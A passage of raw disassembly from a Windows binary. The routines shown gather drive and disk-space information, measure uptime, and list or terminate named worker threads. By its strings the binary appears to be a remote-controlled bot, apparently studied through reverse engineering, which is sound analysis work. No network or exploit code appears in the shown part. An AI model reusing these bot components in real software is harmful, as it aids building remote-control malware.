sub_408E8E+2Dj mov al, byte ptr [ebp+var_1C] add al, 1 mov byte ptr [ebp+var_1C], al movsx eax, byte ptr [ebp+var_1C] cmp eax, 5Ah jnz loc_408EA4 mov eax, [ebp+var_C] leave retn sub_408E8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408F2E proc near ; DATA XREF: sub_4091E2+35o var_5DC = dword ptr -5DCh var_5D8 = dword ptr -5D8h var_5D4 = dword ptr -5D4h var_5D0 = byte ptr -5D0h var_42C = dword ptr -42Ch var_428 = dword ptr -428h var_424 = dword ptr -424h var_420 = byte ptr -420h var_418 = dword ptr -418h var_414 = dword ptr -414h var_410 = dword ptr -410h var_40C = byte ptr -40Ch var_404 = byte ptr -404h var_3EF = byte ptr -3EFh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5DCh push esi push edi push 1A7h push [ebp+arg_0] lea eax, [ebp+var_5D4] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 5 pop ecx mov esi, offset aDriveInformati ; "Drive information - " lea edi, [ebp+var_404] rep movsd movsb mov ecx, 0FAh xor eax, eax lea edi, [ebp+var_3EF] rep stosd stosw stosb mov eax, dword_419398 mov [ebp+var_424], eax and [ebp+var_418], 0 and [ebp+var_5D8], 0 and [ebp+var_414], 0 mov [ebp+var_410], 1 loc_408FA6: ; CODE XREF: sub_408F2E+23Bj lea eax, [ebp+var_424] push eax call dword_4170CC ; GetDriveTypeA mov [ebp+var_5DC], eax cmp [ebp+var_5DC], 0 jz loc_409151 cmp [ebp+var_5DC], 1 jz loc_409151 cmp [ebp+var_5DC], 2 jnz short loc_408FE5 mov [ebp+var_4], offset aRemovable ; "removable" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_408FE5: ; CODE XREF: sub_408F2E+ACj cmp [ebp+var_5DC], 3 jnz short loc_408FF7 mov [ebp+var_4], offset aFixed ; "fixed" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_408FF7: ; CODE XREF: sub_408F2E+BEj cmp [ebp+var_5DC], 4 jnz short loc_409009 mov [ebp+var_4], offset aRemote ; "remote" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_409009: ; CODE XREF: sub_408F2E+D0j cmp [ebp+var_5DC], 5 jnz short loc_40901B mov [ebp+var_4], offset aCdRom ; "cd-rom" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_40901B: ; CODE XREF: sub_408F2E+E2j cmp [ebp+var_5DC], 6 jnz short loc_40902D mov [ebp+var_4], offset aRamdisk ; "ramdisk" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_40902D: ; CODE XREF: sub_408F2E+F4j mov [ebp+var_4], offset aUnknown ; "unknown" loc_409034: ; CODE XREF: sub_408F2E+B5j ; sub_408F2E+C7j ... cmp [ebp+var_5DC], 5 jz short loc_40906A cmp [ebp+var_5DC], 2 jz short loc_40906A lea eax, [ebp+var_42C] push eax lea eax, [ebp+var_420] push eax lea eax, [ebp+var_40C] push eax lea eax, [ebp+var_424] push eax call dword_4170C8 ; GetDiskFreeSpaceExA jmp short loc_40907D ; --------------------------------------------------------------------------- loc_40906A: ; CODE XREF: sub_408F2E+10Dj ; sub_408F2E+116j push 8 push 0 lea eax, [ebp+var_42C] push eax call sub_416B6A ; memset add esp, 0Ch loc_40907D: ; CODE XREF: sub_408F2E+13Aj push 0 push 100000h push [ebp+var_428] push [ebp+var_42C] call sub_416C90 mov [ebp+var_42C], eax mov [ebp+var_428], edx cmp [ebp+var_410], 0 jnz short loc_4090BF push offset dword_419404 lea eax, [ebp+var_404] push eax call sub_416B70 ; _mbscat pop ecx pop ecx jmp short loc_4090C6 ; --------------------------------------------------------------------------- loc_4090BF: ; CODE XREF: sub_408F2E+17Aj and [ebp+var_410], 0 loc_4090C6: ; CODE XREF: sub_408F2E+18Fj mov eax, [ebp+var_42C] or eax, [ebp+var_428] test eax, eax jz short loc_40910A push [ebp+var_428] push [ebp+var_42C] push [ebp+var_4] lea eax, [ebp+var_424] push eax lea eax, [ebp+var_404] push eax push offset dword_4193E4 lea eax, [ebp+var_404] push eax call dword_4171E0 ; wsprintfA add esp, 1Ch jmp short loc_409130 ; --------------------------------------------------------------------------- loc_40910A: ; CODE XREF: sub_408F2E+1A6j push [ebp+var_4] lea eax, [ebp+var_424] push eax lea eax, [ebp+var_404] push eax push offset dword_4193D4 lea eax, [ebp+var_404] push eax call dword_4171E0 ; wsprintfA add esp, 14h loc_409130: ; CODE XREF: sub_408F2E+1DAj mov eax, [ebp+var_42C] mov ecx, [ebp+var_414] add ecx, eax mov [ebp+var_414], ecx mov eax, [ebp+var_5D8] inc eax mov [ebp+var_5D8], eax loc_409151: ; CODE XREF: sub_408F2E+92j ; sub_408F2E+9Fj mov al, byte ptr [ebp+var_424] add al, 1 mov byte ptr [ebp+var_424], al movsx eax, byte ptr [ebp+var_424] cmp eax, 5Ah jnz loc_408FA6 cmp [ebp+var_5D8], 0 jz short loc_40918B push offset dword_419404 lea eax, [ebp+var_404] push eax call sub_416B70 ; _mbscat pop ecx pop ecx loc_40918B: ; CODE XREF: sub_408F2E+248j push [ebp+var_414] push [ebp+var_5D8] lea eax, [ebp+var_404] push eax push offset dword_41939C lea eax, [ebp+var_404] push eax call dword_4171E0 ; wsprintfA add esp, 14h lea eax, [ebp+var_404] push eax push offset dword_418B64 lea eax, [ebp+var_5D0] push eax call sub_40D53F add esp, 0Ch push [ebp+var_5D4] call sub_409763 pop ecx xor eax, eax pop edi pop esi leave retn 4 sub_408F2E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4091E2 proc near ; CODE XREF: sub_40A9CF+1C61p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4091FC jmp short locret_409224 ; --------------------------------------------------------------------------- loc_4091FC: ; CODE XREF: sub_4091E2+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aDriveinfoThrea ; "Driveinfo thread" push 0 push [ebp+var_4] push offset sub_408F2E call sub_4095A4 add esp, 10h locret_409224: ; CODE XREF: sub_4091E2+18j leave retn sub_4091E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409226 proc near ; CODE XREF: sub_4167F1+215p var_20 = qword ptr -20h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_8] push eax call dword_4170D8 ; QueryPerformanceCounter lea eax, [ebp+var_10] push eax call dword_4170D4 ; QueryPerformanceFrequency cmp [ebp+var_4], 0 jl short loc_40928E jg short loc_40924E cmp [ebp+var_8], 0 jbe short loc_40928E loc_40924E: ; CODE XREF: sub_409226+20j cmp [ebp+var_C], 0 jl short loc_40928E jg short loc_40925C cmp [ebp+var_10], 0 jbe short loc_40928E loc_40925C: ; CODE XREF: sub_409226+2Ej push [ebp+var_C] push [ebp+var_10] push [ebp+var_4] push [ebp+var_8] call sub_416D10 mov dword ptr [ebp+var_18], eax mov dword ptr [ebp+var_18+4], edx fild [ebp+var_18] push ecx push ecx fstp [esp+20h+var_20] call sub_416CFE ; ceil pop ecx pop ecx call sub_416CF8 ; _ftol mov dword_41E2D0, eax jmp short locret_4092A2 ; --------------------------------------------------------------------------- loc_40928E: ; CODE XREF: sub_409226+1Ej ; sub_409226+26j ... call dword_4170D0 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov dword_41E2D0, eax locret_4092A2: ; CODE XREF: sub_409226+66j leave retn sub_409226 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4092A4 proc near ; CODE XREF: sub_4083AD+61p ; sub_40A9CF+1CCAp ... var_20 = qword ptr -20h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_8] push eax call dword_4170D8 ; QueryPerformanceCounter lea eax, [ebp+var_10] push eax call dword_4170D4 ; QueryPerformanceFrequency cmp [ebp+var_4], 0 jl short loc_409307 jg short loc_4092CC cmp [ebp+var_8], 0 jbe short loc_409307 loc_4092CC: ; CODE XREF: sub_4092A4+20j cmp [ebp+var_C], 0 jl short loc_409307 jg short loc_4092DA cmp [ebp+var_10], 0 jbe short loc_409307 loc_4092DA: ; CODE XREF: sub_4092A4+2Ej push [ebp+var_C] push [ebp+var_10] push [ebp+var_4] push [ebp+var_8] call sub_416D10 mov dword ptr [ebp+var_18], eax mov dword ptr [ebp+var_18+4], edx fild [ebp+var_18] push ecx push ecx fstp [esp+20h+var_20] call sub_416CFE ; ceil pop ecx pop ecx call sub_416CF8 ; _ftol jmp short locret_409316 ; --------------------------------------------------------------------------- loc_409307: ; CODE XREF: sub_4092A4+1Ej ; sub_4092A4+26j ... call dword_4170D0 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx locret_409316: ; CODE XREF: sub_4092A4+61j leave retn sub_4092A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409318 proc near ; CODE XREF: sub_408B30:loc_408BBCp ; sub_40A9CF:loc_40C715p var_20 = qword ptr -20h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_8] push eax call dword_4170D8 ; QueryPerformanceCounter lea eax, [ebp+var_10] push eax call dword_4170D4 ; QueryPerformanceFrequency cmp [ebp+var_4], 0 jl short loc_409381 jg short loc_409340 cmp [ebp+var_8], 0 jbe short loc_409381 loc_409340: ; CODE XREF: sub_409318+20j cmp [ebp+var_C], 0 jl short loc_409381 jg short loc_40934E cmp [ebp+var_10], 0 jbe short loc_409381 loc_40934E: ; CODE XREF: sub_409318+2Ej push [ebp+var_C] push [ebp+var_10] push [ebp+var_4] push [ebp+var_8] call sub_416D10 mov dword ptr [ebp+var_18], eax mov dword ptr [ebp+var_18+4], edx fild [ebp+var_18] push ecx push ecx fstp [esp+20h+var_20] call sub_416CFE ; ceil pop ecx pop ecx call sub_416CF8 ; _ftol sub eax, dword_41E2D0 jmp short locret_40938D ; --------------------------------------------------------------------------- loc_409381: ; CODE XREF: sub_409318+1Ej ; sub_409318+26j ... call dword_4170D0 ; GetTickCount sub eax, dword_41E2D0 locret_40938D: ; CODE XREF: sub_409318+67j leave retn sub_409318 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40938F proc near ; CODE XREF: sub_4167F1+D5p push ebp mov ebp, esp and dword_41E2F0, 0 push 1980h call sub_416B46 ; malloc pop ecx mov dword_41E2F8, eax push offset dword_41E2D8 call sub_409C36 pop ecx pop ebp retn sub_40938F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4093B6 proc near ; DATA XREF: sub_409479+35o var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_417278 push offset sub_416DBA mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_20], 0 and [ebp+var_1C], 0 and [ebp+var_4], 0 mov eax, [ebp+arg_0] mov eax, [eax] mov [ebp+var_20], eax mov eax, [ebp+arg_0] mov eax, [eax+4] mov [ebp+var_1C], eax push [ebp+arg_0] call sub_416B4C ; free pop ecx push [ebp+var_20] call dword_4170DC ; IsBadCodePtr test eax, eax jz short loc_409431 cmp dword_41DE38, 0 jz short loc_40942F push [ebp+var_20] push offset dword_419474 push offset dword_41DAB4 call sub_40D4AB add esp, 0Ch loc_40942F: ; CODE XREF: sub_4093B6+62j jmp short loc_409443 ; --------------------------------------------------------------------------- loc_409431: ; CODE XREF: sub_4093B6+59j push [ebp+var_1C] call [ebp+var_20] mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_24] jmp short loc_409468 ; --------------------------------------------------------------------------- loc_409443: ; CODE XREF: sub_4093B6:loc_40942Fj or [ebp+var_4], 0FFFFFFFFh jmp short loc_409466 ; --------------------------------------------------------------------------- push offset aBtg ; "btg" push offset aThread ; "thread" push [ebp+var_14] call sub_40332B add esp, 0Ch retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh loc_409466: ; CODE XREF: sub_4093B6+91j xor eax, eax loc_409468: ; CODE XREF: sub_4093B6+8Bj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 sub_4093B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409479 proc near ; CODE XREF: sub_40764D+14Ap ; sub_409BF1+2Fp ... var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push 8 call sub_416B46 ; malloc pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_409494 xor eax, eax jmp short locret_4094E4 ; --------------------------------------------------------------------------- loc_409494: ; CODE XREF: sub_409479+15j mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov [eax], ecx mov eax, [ebp+var_C] mov ecx, [ebp+arg_4] mov [eax+4], ecx lea eax, [ebp+var_8] push eax push 0 push [ebp+var_C] push offset sub_4093B6 push 20000h push 0 call sub_416DC0 ; _beginthreadex add esp, 18h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_4094D9 push [ebp+var_4] call dword_4170A4 ; CloseHandle push 1 pop eax jmp short locret_4094E4 ; --------------------------------------------------------------------------- loc_4094D9: ; CODE XREF: sub_409479+50j push [ebp+var_C] call sub_416B4C ; free pop ecx xor eax, eax locret_4094E4: ; CODE XREF: sub_409479+19j ; sub_409479+5Ej leave retn sub_409479 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4094E6 proc near ; DATA XREF: sub_4095A4+159o var_1A4 = dword ptr -1A4h var_1A0 = dword ptr -1A0h var_19C = byte ptr -19Ch var_19B = byte ptr -19Bh var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_417288 push offset sub_416DBA mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 18Ch push ebx push esi push edi mov [ebp+var_18], esp mov al, byte_41DE30 mov [ebp+var_19C], al push 60h pop ecx xor eax, eax lea edi, [ebp+var_19B] rep stosd stosw stosb and [ebp+var_4], 0 mov eax, [ebp+arg_0] mov eax, [eax] mov eax, [eax+10h] mov [ebp+var_1A0], eax mov eax, [ebp+arg_0] mov eax, [eax] add eax, 14h push eax lea eax, [ebp+var_19C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push [ebp+arg_0] mov eax, [ebp+arg_0] mov eax, [eax] call dword ptr [eax+10h] mov [ebp+var_1A4], eax or [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_1A4] jmp short loc_409593 ; --------------------------------------------------------------------------- lea eax, [ebp+var_19C] push eax push offset aThread ; "thread" push [ebp+var_14] call sub_40332B add esp, 0Ch retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh xor eax, eax loc_409593: ; CODE XREF: sub_4094E6+8Aj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 sub_4094E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4095A4 proc near ; CODE XREF: sub_4017AA+A2p ; sub_401D6E+8Dp ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp sub esp, 14h push offset dword_41E2D8 call sub_409C6C pop ecx cmp dword_41E2F0, 10h jnz short loc_4095D9 push [ebp+arg_4] call sub_416B4C ; free pop ecx push offset dword_41E2D8 call sub_409C7A pop ecx xor eax, eax jmp locret_409761 ; --------------------------------------------------------------------------- loc_4095D9: ; CODE XREF: sub_4095A4+18j cmp [ebp+arg_8], 0 jz short loc_409627 and [ebp+var_10], 0 jmp short loc_4095EC ; --------------------------------------------------------------------------- loc_4095E5: ; CODE XREF: sub_4095A4:loc_409625j mov eax, [ebp+var_10] inc eax mov [ebp+var_10], eax loc_4095EC: ; CODE XREF: sub_4095A4+3Fj cmp [ebp+var_10], 10h jge short loc_409627 mov eax, [ebp+var_10] imul eax, 198h mov ecx, dword_41E2F8 mov eax, [ecx+eax+10h] cmp eax, [ebp+arg_0] jnz short loc_409625 push [ebp+arg_4] call sub_416B4C ; free pop ecx push offset dword_41E2D8 call sub_409C7A pop ecx xor eax, eax jmp locret_409761 ; --------------------------------------------------------------------------- loc_409625: ; CODE XREF: sub_4095A4+64j jmp short loc_4095E5 ; --------------------------------------------------------------------------- loc_409627: ; CODE XREF: sub_4095A4+39j ; sub_4095A4+4Cj and [ebp+var_C], 0 and [ebp+var_8], 0 jmp short loc_409638 ; --------------------------------------------------------------------------- loc_409631: ; CODE XREF: sub_4095A4:loc_409672j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_409638: ; CODE XREF: sub_4095A4+8Bj cmp [ebp+var_8], 10h jge short loc_409674 mov eax, [ebp+var_8] imul eax, 198h mov ecx, dword_41E2F8 cmp dword ptr [ecx+eax+8], 0 jnz short loc_409672 mov eax, [ebp+var_8] imul eax, 198h mov ecx, dword_41E2F8 add ecx, eax mov [ebp+var_C], ecx mov eax, [ebp+var_C] mov ecx, [ebp+var_8] mov [eax], ecx jmp short loc_409674 ; --------------------------------------------------------------------------- loc_409672: ; CODE XREF: sub_4095A4+AEj jmp short loc_409631 ; --------------------------------------------------------------------------- loc_409674: ; CODE XREF: sub_4095A4+98j ; sub_4095A4+CCj cmp [ebp+var_C], 0 jnz short loc_409695 push [ebp+arg_4] call sub_416B4C ; free pop ecx push offset dword_41E2D8 call sub_409C7A pop ecx xor eax, eax jmp locret_409761 ; --------------------------------------------------------------------------- loc_409695: ; CODE XREF: sub_4095A4+D4j cmp [ebp+arg_4], 0 jz short loc_4096A3 mov eax, [ebp+arg_4] mov ecx, [ebp+var_C] mov [eax], ecx loc_4096A3: ; CODE XREF: sub_4095A4+F5j mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov [eax+10h], ecx lea eax, [ebp+arg_10] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_C] mov eax, [ebp+var_C] add eax, 14h push eax call sub_416DC6 ; vsprintf add esp, 0Ch and [ebp+var_4], 0 mov eax, [ebp+var_C] and dword ptr [eax+4], 0 mov eax, dword_41E2F0 inc eax mov dword_41E2F0, eax cmp [ebp+arg_4], 0 jz short loc_4096EB mov eax, [ebp+arg_4] mov [ebp+var_14], eax jmp short loc_4096F1 ; --------------------------------------------------------------------------- loc_4096EB: ; CODE XREF: sub_4095A4+13Dj mov eax, [ebp+var_C] mov [ebp+var_14], eax loc_4096F1: ; CODE XREF: sub_4095A4+145j mov eax, [ebp+var_C] add eax, 0Ch push eax push 0 push [ebp+var_14] push offset sub_4094E6 push 0 push 0 call sub_416DC0 ; _beginthreadex add esp, 18h mov ecx, [ebp+var_C] mov [ecx+8], eax mov eax, [ebp+var_C] cmp dword ptr [eax+8], 0 jnz short loc_409753 push [ebp+arg_4] call sub_416B4C ; free pop ecx mov eax, dword_41E2F0 dec eax mov dword_41E2F0, eax push 198h push 0 lea eax, [ebp+var_C] push eax call sub_416B6A ; memset add esp, 0Ch push offset dword_41E2D8 call sub_409C7A pop ecx xor eax, eax jmp short locret_409761 ; --------------------------------------------------------------------------- loc_409753: ; CODE XREF: sub_4095A4+177j push offset dword_41E2D8 call sub_409C7A pop ecx push 1 pop eax locret_409761: ; CODE XREF: sub_4095A4+30j ; sub_4095A4+7Cj ... leave retn sub_4095A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409763 proc near ; CODE XREF: sub_401244+73p ; sub_401244+547p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push offset dword_41E2D8 call sub_409C6C pop ecx mov eax, dword_41E2F0 dec eax mov dword_41E2F0, eax mov eax, [ebp+arg_0] push dword ptr [eax+8] call dword_4170A4 ; CloseHandle push 198h push 0 push [ebp+arg_0] call sub_416B6A ; memset add esp, 0Ch push offset dword_41E2D8 call sub_409C7A pop ecx pop ebp retn sub_409763 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4097A7 proc near ; CODE XREF: sub_40A9CF+EBFp var_194 = dword ptr -194h var_190 = byte ptr -190h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 194h cmp [ebp+arg_0], 0 jnz short loc_4097BB jmp locret_4098F1 ; --------------------------------------------------------------------------- loc_4097BB: ; CODE XREF: sub_4097A7+Dj push [ebp+arg_0] call sub_407A86 pop ecx movzx eax, al test eax, eax jz short loc_409825 push [ebp+arg_0] call sub_416B9C ; atoi pop ecx mov [ebp+var_4], eax push offset dword_41E2D8 call sub_409C6C pop ecx cmp [ebp+var_4], 10h jnb short loc_409815 mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2F8 cmp dword ptr [ecx+eax+8], 0 jz short loc_409815 mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2F8 mov dword ptr [ecx+eax+4], 1 loc_409815: ; CODE XREF: sub_4097A7+3Fj ; sub_4097A7+55j push offset dword_41E2D8 call sub_409C7A pop ecx jmp locret_4098F1 ; --------------------------------------------------------------------------- loc_409825: ; CODE XREF: sub_4097A7+22j push [ebp+arg_0] push offset aS ; "*%s*" push 185h lea eax, [ebp+var_190] push eax call sub_416BAE ; _snprintf add esp, 10h push offset dword_41E2D8 call sub_409C6C pop ecx mov eax, dword_41E2F0 mov [ebp+var_8], eax and [ebp+var_194], 0 jmp short loc_40986A ; --------------------------------------------------------------------------- loc_40985D: ; CODE XREF: sub_4097A7:loc_4098E1j mov eax, [ebp+var_194] inc eax mov [ebp+var_194], eax loc_40986A: ; CODE XREF: sub_4097A7+B4j cmp [ebp+var_194], 10h jnb short loc_4098E6 mov eax, [ebp+var_194] imul eax, 198h mov ecx, dword_41E2F8 cmp dword ptr [ecx+eax+8], 0 jz short loc_4098E1 mov eax, [ebp+var_8] dec eax mov [ebp+var_8], eax lea eax, [ebp+var_190] push eax mov eax, [ebp+var_194] imul eax, 198h mov ecx, dword_41E2F8 lea eax, [ecx+eax+14h] push eax call sub_40A6EB pop ecx pop ecx movzx eax, al test eax, eax jz short loc_4098D9 mov eax, [ebp+var_194] imul eax, 198h mov ecx, dword_41E2F8 mov dword ptr [ecx+eax+4], 1 loc_4098D9: ; CODE XREF: sub_4097A7+116j cmp [ebp+var_8], 0 jnz short loc_4098E1 jmp short loc_4098E6 ; --------------------------------------------------------------------------- loc_4098E1: ; CODE XREF: sub_4097A7+E3j ; sub_4097A7+136j jmp loc_40985D ; --------------------------------------------------------------------------- loc_4098E6: ; CODE XREF: sub_4097A7+CAj ; sub_4097A7+138j push offset dword_41E2D8 call sub_409C7A pop ecx locret_4098F1: ; CODE XREF: sub_4097A7+Fj ; sub_4097A7+79j leave retn sub_4097A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4098F3 proc near ; CODE XREF: sub_40A9CF+F13p var_19C = dword ptr -19Ch var_198 = dword ptr -198h var_194 = byte ptr -194h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 19Ch cmp [ebp+arg_0], 0 jnz short loc_409907 jmp locret_409AD3 ; --------------------------------------------------------------------------- loc_409907: ; CODE XREF: sub_4098F3+Dj push [ebp+arg_0] call sub_407A86 pop ecx movzx eax, al test eax, eax jz loc_4099B4 push [ebp+arg_0] call sub_416B9C ; atoi pop ecx mov [ebp+var_4], eax push offset dword_41E2D8 call sub_409C6C pop ecx cmp [ebp+var_4], 10h jnb short loc_4099A4 mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2F8 cmp dword ptr [ecx+eax+8], 0 jz short loc_4099A4 mov eax, dword_41E2F0 dec eax mov dword_41E2F0, eax mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2F8 mov eax, [ecx+eax+8] mov [ebp+var_8], eax push 198h push 0 mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2F8 add ecx, eax push ecx call sub_416B6A ; memset add esp, 0Ch push 0 push [ebp+var_8] call dword_4170E0 ; TerminateThread push [ebp+var_8] call dword_4170A4 ; CloseHandle loc_4099A4: ; CODE XREF: sub_4098F3+43j ; sub_4098F3+59j push offset dword_41E2D8 call sub_409C7A pop ecx jmp locret_409AD3 ; --------------------------------------------------------------------------- loc_4099B4: ; CODE XREF: sub_4098F3+22j push [ebp+arg_0] push offset aS ; "*%s*" push 185h lea eax, [ebp+var_194] push eax call sub_416BAE ; _snprintf add esp, 10h push offset dword_41E2D8 call sub_409C6C pop ecx mov eax, dword_41E2F0 mov [ebp+var_C], eax and [ebp+var_198], 0 jmp short loc_4099F9 ; --------------------------------------------------------------------------- loc_4099EC: ; CODE XREF: sub_4098F3:loc_409AC3j mov eax, [ebp+var_198] inc eax mov [ebp+var_198], eax loc_4099F9: ; CODE XREF: sub_4098F3+F7j cmp [ebp+var_198], 10h jnb loc_409AC8 mov eax, [ebp+var_198] imul eax, 198h mov ecx, dword_41E2F8 cmp dword ptr [ecx+eax+8], 0 jz loc_409AC3 mov eax, [ebp+var_C] dec eax mov [ebp+var_C], eax lea eax, [ebp+var_194] push eax mov eax, [ebp+var_198] imul eax, 198h mov ecx, dword_41E2F8 lea eax, [ecx+eax+14h] push eax call sub_40A6EB pop ecx pop ecx movzx eax, al test eax, eax jz short loc_409ABB mov eax, dword_41E2F0 dec eax mov dword_41E2F0, eax mov eax, [ebp+var_198] imul eax, 198h mov ecx, dword_41E2F8 mov eax, [ecx+eax+8] mov [ebp+var_19C], eax push 198h push 0 mov eax, [ebp+var_198] imul eax, 198h mov ecx, dword_41E2F8 add ecx, eax push ecx call sub_416B6A ; memset add esp, 0Ch push 0 push [ebp+var_19C] call dword_4170E0 ; TerminateThread push [ebp+var_19C] call dword_4170A4 ; CloseHandle loc_409ABB: ; CODE XREF: sub_4098F3+161j cmp [ebp+var_C], 0 jnz short loc_409AC3 jmp short loc_409AC8 ; --------------------------------------------------------------------------- loc_409AC3: ; CODE XREF: sub_4098F3+12Aj ; sub_4098F3+1CCj jmp loc_4099EC ; --------------------------------------------------------------------------- loc_409AC8: ; CODE XREF: sub_4098F3+10Dj ; sub_4098F3+1CEj push offset dword_41E2D8 call sub_409C7A pop ecx locret_409AD3: ; CODE XREF: sub_4098F3+Fj ; sub_4098F3+BCj leave retn sub_4098F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409AD5 proc near ; DATA XREF: sub_409BF1+2Ao var_1A8 = byte ptr -1A8h var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A8h push 1A3h push [ebp+arg_0] lea eax, [ebp+var_1A8] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx cmp dword_41E2F0, 0 jz short loc_409B25 push 10h push dword_41E2F0 push offset dword_4194EC lea eax, [ebp+var_1A8] push eax call sub_40D53F add esp, 10h jmp short loc_409B3F ; --------------------------------------------------------------------------- loc_409B25: ; CODE XREF: sub_409AD5+30j push offset dword_4194CC lea eax, [ebp+var_1A8] push eax call sub_40D53F pop ecx pop ecx xor eax, eax jmp locret_409BED ; --------------------------------------------------------------------------- loc_409B3F: ; CODE XREF: sub_409AD5+4Ej push offset dword_41E2D8 call sub_409C6C pop ecx and [ebp+var_10], 0 and [ebp+var_4], 0 jmp short loc_409B5B ; --------------------------------------------------------------------------- loc_409B54: ; CODE XREF: sub_409AD5:loc_409BDBj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_409B5B: ; CODE XREF: sub_409AD5+7Dj cmp [ebp+var_4], 10h jge short loc_409BE0 mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2F8 cmp dword ptr [ecx+eax+8], 0 jz short loc_409BDB push offset dword_41E2D8 call sub_409C7A pop ecx push 3E8h call dword_41709C ; Sleep push offset dword_41E2D8 call sub_409C6C pop ecx mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2F8 lea eax, [ecx+eax+14h] push eax push [ebp+var_4] push offset dword_4194BC lea eax, [ebp+var_1A8] push eax call sub_40D53F add esp, 10h mov eax, [ebp+var_4] imul eax, 198h mov ecx, dword_41E2F8 cmp dword ptr [ecx+eax+4], 0 jz short loc_409BDB jmp short loc_409BE0 ; --------------------------------------------------------------------------- loc_409BDB: ; CODE XREF: sub_409AD5+A0j ; sub_409AD5+102j jmp loc_409B54 ; --------------------------------------------------------------------------- loc_409BE0: ; CODE XREF: sub_409AD5+8Aj ; 